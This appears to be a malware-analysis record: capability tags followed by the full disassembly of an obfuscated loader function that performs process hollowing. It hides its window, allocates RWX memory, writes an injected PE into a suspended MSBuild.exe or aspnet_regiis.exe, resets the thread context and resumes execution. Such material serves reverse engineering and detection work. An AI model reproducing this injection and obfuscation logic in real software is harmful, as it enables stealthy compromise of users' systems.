Function at 0x10003a90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1ac
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
lea eax, str.kernel32.dll
mov dword [esp], eax
call fcn.100010a0
lea eax, [0x100141e1]
mov dword [esp], eax
call fcn.100010a0
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x52800
call section..text
lea eax, section..data
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x188], 0x7be6f185
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18c], eax
sub eax, 0x82fff8ee
je 0x10006b78
jmp 0x10003b3e
mov eax, dword [ebp - 0x18c]
sub eax, 0x84ab6658
je 0x10006650
jmp 0x10003b54
mov eax, dword [ebp - 0x18c]
sub eax, 0x8536c651
je 0x1000512d
jmp 0x10003b6a
mov eax, dword [ebp - 0x18c]
sub eax, 0x85fa1be2
je 0x10005027
jmp 0x10003b80
mov eax, dword [ebp - 0x18c]
sub eax, 0x86afd672
je 0x10006b69
jmp 0x10003b96
mov eax, dword [ebp - 0x18c]
sub eax, 0x86ccbc78
je 0x10004d5b
jmp 0x10003bac
mov eax, dword [ebp - 0x18c]
sub eax, 0x86ebdca1
je 0x10006911
jmp 0x10003bc2
mov eax, dword [ebp - 0x18c]
sub eax, 0x890881b5
je 0x100053cb
jmp 0x10003bd8
mov eax, dword [ebp - 0x18c]
sub eax, 0x896f7700
je 0x10004e2e
jmp 0x10003bee
mov eax, dword [ebp - 0x18c]
sub eax, 0x8a03678f
je 0x10005a3a
jmp 0x10003c04
mov eax, dword [ebp - 0x18c]
sub eax, 0x8b41ec04
je 0x100058e1
jmp 0x10003c1a
mov eax, dword [ebp - 0x18c]
sub eax, 0x8b7a8dae
je 0x100067fc
jmp 0x10003c30
mov eax, dword [ebp - 0x18c]
sub eax, 0x8c5e14e9
je 0x10004b55
jmp 0x10003c46
mov eax, dword [ebp - 0x18c]
sub eax, 0x8d4a5fd2
je 0x10005ab1
jmp 0x10003c5c
mov eax, dword [ebp - 0x18c]
sub eax, 0x8ea34031
je 0x10005036
jmp 0x10003c72
mov eax, dword [ebp - 0x18c]
sub eax, 0x8f34ffc2
je 0x10005fd1
jmp 0x10003c88
mov eax, dword [ebp - 0x18c]
sub eax, 0x8f81c742
je 0x100065da
jmp 0x10003c9e
mov eax, dword [ebp - 0x18c]
sub eax, 0x8fd819c7
je 0x10005c10
jmp 0x10003cb4
mov eax, dword [ebp - 0x18c]
sub eax, 0x932f51f7
je 0x100063e0
jmp 0x10003cca
mov eax, dword [ebp - 0x18c]
sub eax, 0x93c5754a
je 0x100054f8
jmp 0x10003ce0
mov eax, dword [ebp - 0x18c]
sub eax, 0x95151b91
je 0x100048d3
jmp 0x10003cf6
mov eax, dword [ebp - 0x18c]
sub eax, 0x96aa5cb8
je 0x10006a0f
jmp 0x10003d0c
mov eax, dword [ebp - 0x18c]
sub eax, 0x986899d7
je 0x10004882
jmp 0x10003d22
mov eax, dword [ebp - 0x18c]
sub eax, 0x99ab2748
je 0x10006871
jmp 0x10003d38
mov eax, dword [ebp - 0x18c]
sub eax, 0x99e6b4ac
je 0x10005411
jmp 0x10003d4e
mov eax, dword [ebp - 0x18c]
sub eax, 0x99f4dec5
je 0x1000576c
jmp 0x10003d64
mov eax, dword [ebp - 0x18c]
sub eax, 0x9a2972e0
je 0x10004947
jmp 0x10003d7a
mov eax, dword [ebp - 0x18c]
sub eax, 0x9bd02bc1
je 0x100057bf
jmp 0x10003d90
mov eax, dword [ebp - 0x18c]
sub eax, 0x9cfbefa4
je 0x1000688c
jmp 0x10003da6
mov eax, dword [ebp - 0x18c]
sub eax, 0x9eb0cccb
je 0x100060c7
jmp 0x10003dbc
mov eax, dword [ebp - 0x18c]
sub eax, 0x9f50903a
je 0x10005293
jmp 0x10003dd2
mov eax, dword [ebp - 0x18c]
sub eax, 0x9fa55452
je 0x1000563c
jmp 0x10003de8
mov eax, dword [ebp - 0x18c]
sub eax, 0xa115d3b6
je 0x100057a4
jmp 0x10003dfe
mov eax, dword [ebp - 0x18c]
sub eax, 0xa123add9
je 0x10005566
jmp 0x10003e14
mov eax, dword [ebp - 0x18c]
sub eax, 0xa98dca61
je 0x100054e9
jmp 0x10003e2a
mov eax, dword [ebp - 0x18c]
sub eax, 0xad7b425a
je 0x10005835
jmp 0x10003e40
mov eax, dword [ebp - 0x18c]
sub eax, 0xaf836186
je 0x100051d2
jmp 0x10003e56
mov eax, dword [ebp - 0x18c]
sub eax, 0xb09826be
je 0x10004800
jmp 0x10003e6c
mov eax, dword [ebp - 0x18c]
sub eax, 0xb0c01ffa
je 0x10004b2b
jmp 0x10003e82
mov eax, dword [ebp - 0x18c]
sub eax, 0xb198f00c
je 0x10006399
jmp 0x10003e98
mov eax, dword [ebp - 0x18c]
sub eax, 0xb2a84072
je 0x10004c57
jmp 0x10003eae
mov eax, dword [ebp - 0x18c]
sub eax, 0xb3365b7e
je 0x100065b1
jmp 0x10003ec4
mov eax, dword [ebp - 0x18c]
sub eax, 0xb9e4e8ed
je 0x10005bbf
jmp 0x10003eda
mov eax, dword [ebp - 0x18c]
sub eax, 0xbb7f7479
je 0x1000678d
jmp 0x10003ef0
mov eax, dword [ebp - 0x18c]
sub eax, 0xbd59ccfd
je 0x10004afe
jmp 0x10003f06
mov eax, dword [ebp - 0x18c]
sub eax, 0xc01d14b8
je 0x10006b1e
jmp 0x10003f1c
mov eax, dword [ebp - 0x18c]
sub eax, 0xc2680c69
je 0x10006a77
jmp 0x10003f32
mov eax, dword [ebp - 0x18c]
sub eax, 0xc2e6f2b1
je 0x10004cb4
jmp 0x10003f48
mov eax, dword [ebp - 0x18c]
sub eax, 0xc47d8bbe
je 0x10005795
jmp 0x10003f5e
mov eax, dword [ebp - 0x18c]
sub eax, 0xc817fcb8
je 0x1000614c
jmp 0x10003f74
mov eax, dword [ebp - 0x18c]
sub eax, 0xc8aee268
je 0x100069f9
jmp 0x10003f8a
mov eax, dword [ebp - 0x18c]
sub eax, 0xc903fb0b
je 0x10004e4f
jmp 0x10003fa0
mov eax, dword [ebp - 0x18c]
sub eax, 0xca13c603
je 0x10006afa
jmp 0x10003fb6
mov eax, dword [ebp - 0x18c]
sub eax, 0xca8aad8b
je 0x1000651a
jmp 0x10003fcc
mov eax, dword [ebp - 0x18c]
sub eax, 0xcaeb284f
je 0x1000575d
jmp 0x10003fe2
mov eax, dword [ebp - 0x18c]
sub eax, 0xcafd2dff
je 0x10004ad2
jmp 0x10003ff8
mov eax, dword [ebp - 0x18c]
sub eax, 0xcc0d9b39
je 0x100056cf
jmp 0x1000400e
mov eax, dword [ebp - 0x18c]
sub eax, 0xcd2cdf12
je 0x10004ced
jmp 0x10004024
mov eax, dword [ebp - 0x18c]
sub eax, 0xce3fbadf
je 0x100059e9
jmp 0x1000403a
mov eax, dword [ebp - 0x18c]
sub eax, 0xcefe2563
je 0x10005cb6
jmp 0x10004050
mov eax, dword [ebp - 0x18c]
sub eax, 0xcf12873a
je 0x10005c7a
jmp 0x10004066
mov eax, dword [ebp - 0x18c]
sub eax, 0xd10cbd38
je 0x1000562d
jmp 0x1000407c
mov eax, dword [ebp - 0x18c]
sub eax, 0xd35f4186
je 0x1000567e
jmp 0x10004092
mov eax, dword [ebp - 0x18c]
sub eax, 0xd43a12eb
je 0x10005215
jmp 0x100040a8
mov eax, dword [ebp - 0x18c]
sub eax, 0xd5d87a46
je 0x1000684d
mov eax, dword [ebp - 0x120]
movzx edx, word [eax]
mov eax, 0x4692ffab
mov ecx, 0x650cba9c
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x277a15f
sub edx, 1
sub edx, 0x277a15f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99ab2748
mov ecx, 0x95151b91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x10f], al
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x2ed134e8
sub edx, 1
sub edx, 0x2ed134e8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99ab2748
mov ecx, 0x9a2972e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dl, byte [ebp - 0x10f]
mov eax, 0x4c35d99b
mov ecx, 0x31eeecd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x5903a681
jmp 0x10006bf4
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x13c], eax
mov dl, byte [ebp - 0x135]
mov eax, 0xb0c01ffa
mov ecx, 0x8c5e14e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x188], 0xf8711d68
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x86ebdca1
mov ecx, 0xd7282e7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x46206e07
jmp 0x10006bf4
mov edx, dword [ebp - 0x10c]
mov eax, 0x8f81c742
mov ecx, 0x46634910
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf45d7a5f
mov ecx, 0x86ccbc78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [esp], eax
call fcn.10003540
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
sub esp, 0x18
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
setge al
and al, 1
mov byte [ebp - 0x101], al
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0xd4b28326
sub edx, 1
sub edx, 0xd4b28326
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf45d7a5f
mov ecx, 0x896f7700
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dl, byte [ebp - 0x101]
mov eax, 0xc903fb0b
mov ecx, 0x8ea34031
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8aee268
mov ecx, 0x36d05c67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x8ea34031
jmp 0x10006bf4
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
sub esp, 0x14
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x12c]
add eax, 0x3c
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x188], 0xe0a408d7
jmp 0x10006bf4
mov eax, dword [ebp - 0x14c]
imul ecx, dword [ebp - 0x150], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x188], 0xfa0aeb76
jmp 0x10006bf4
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x188], 0x56bccb2a
jmp 0x10006bf4
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x130]
add eax, 0x18
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x188], 0xf648ba4
jmp 0x10006bf4
mov edx, dword [ebp - 0xdc]
mov esi, dword [ebp - 0xd8]
mov eax, 0x9fa55452
mov ecx, 0x449ef492
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x14c]
imul ecx, dword [ebp - 0x15c], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x160]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xd0]
mov eax, 0x45b0104d
mov ecx, 0x99e6b4ac
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x1fdcc906
sub edx, 1
sub edx, 0x1fdcc906
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf60be16c
mov ecx, 0xf2a72622
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x93c5754a
jmp 0x10006bf4
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0xc4]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc8]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xcc]
add eax, ecx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x188], 0x45b0104d
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0xdcd67760
sub edx, 1
add edx, 0xdcd67760
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x790afd70
mov ecx, 0xf9610a34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0xfbf865f8
jmp 0x10006bf4
cmp dword [ebp - 0x144], 0
setne al
and al, 1
mov byte [ebp - 0xbd], al
mov dword [ebp - 0x188], 0x1c568d7e
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0xde608d96
sub edx, 1
sub edx, 0xde608d96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2680c69
mov ecx, 0xcc0d9b39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x130]
add eax, 0x18
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x815733f5
sub edx, 1
add edx, 0x815733f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc2680c69
mov ecx, 0xcaeb284f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x99f4dec5
jmp 0x10006bf4
mov eax, dword [ebp - 0xb8]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0xbc]
mov eax, 0xc817fcb8
mov ecx, 0xc47d8bbe
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0xa115d3b6
jmp 0x10006bf4
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x188], 0x9bd02bc1
jmp 0x10006bf4
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x9747faaa
sub edx, 1
add edx, 0x9747faaa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf805be82
mov ecx, 0xad7b425a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0xb4]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0xad], al
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0xd17ed21b
sub edx, 1
add edx, 0xd17ed21b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf805be82
mov ecx, 0x25f8609c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x9dd3df3b
sub edx, 1
sub edx, 0x9dd3df3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2368519e
mov ecx, 0x73e312f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0xee758aa8
sub edx, 1
sub edx, 0xee758aa8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5016e9f
mov ecx, 0x8a03678f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 0x34]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x170], 0
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5016e9f
mov ecx, 0x8d4a5fd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x4cd7414e
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0x6d7185d5
sub edx, 1
add edx, 0x6d7185d5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7775db10
mov ecx, 0x8fd819c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0xa8]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0xa1], al
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0x512f03ac
sub edx, 1
add edx, 0x512f03ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7775db10
mov ecx, 0xcf12873a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dl, byte [ebp - 0xa1]
mov eax, 0x7c0db7fb
mov ecx, 0x7d56c751
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov ecx, dword [ebp - 0x170]
mov eax, dword [ebp - 0xa0]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x7e85a27e
or edx, ecx
or eax, 0x7e85a27e
xor edx, 0xffffffff
and edx, eax
mov eax, 0x683ca547
mov ecx, 0x3467c7fb
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov dword [ebp - 0x188], 0x18ff9dfd
jmp 0x10006bf4
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
add edx, 0x4c300237
sub edx, 1
sub edx, 0x4c300237
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x58b9cbb0
mov ecx, 0x483b6959
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov ecx, dword [ebp - 0x140]
sub ecx, 0x3f5d2853
add ecx, 8
add ecx, 0x3f5d2853
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
sub esp, 0x14
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x188], 0x4499497b
jmp 0x10006bf4
mov dl, byte [ebp - 0x81]
mov eax, 0x6a0856f4
mov ecx, 0x3d884f6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x80]
sub eax, 0x77c04c64
sub eax, ecx
add eax, 0x77c04c64
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x180]
sub eax, 0x60e68841
add eax, ecx
add eax, 0x60e68841
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x74]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
sub esp, 0x2c
mov eax, dword [ebp - 0x17c]
add eax, 4
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x188], 0x1a853bf9
jmp 0x10006bf4
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x130]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
sub esp, 8
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x78], eax
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82fff8ee
mov ecx, 0xa7bfeff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
sub esp, 8
mov dword [ebp - 0x188], 0x8f81c742
jmp 0x10006bf4
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x1af578f4
sub edx, 1
add edx, 0x1af578f4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x211d33
mov ecx, 0x84ab6658
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x6c211cf6
sub edx, 1
add edx, 0x6c211cf6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x211d33
mov ecx, 0x29043cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x188], 0x4c35d99b
jmp 0x10006bf4
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0xb785dd21
sub edx, 1
add edx, 0xb785dd21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4583f4e1
mov ecx, 0xd5d87a46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x10006bf4
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x130], eax
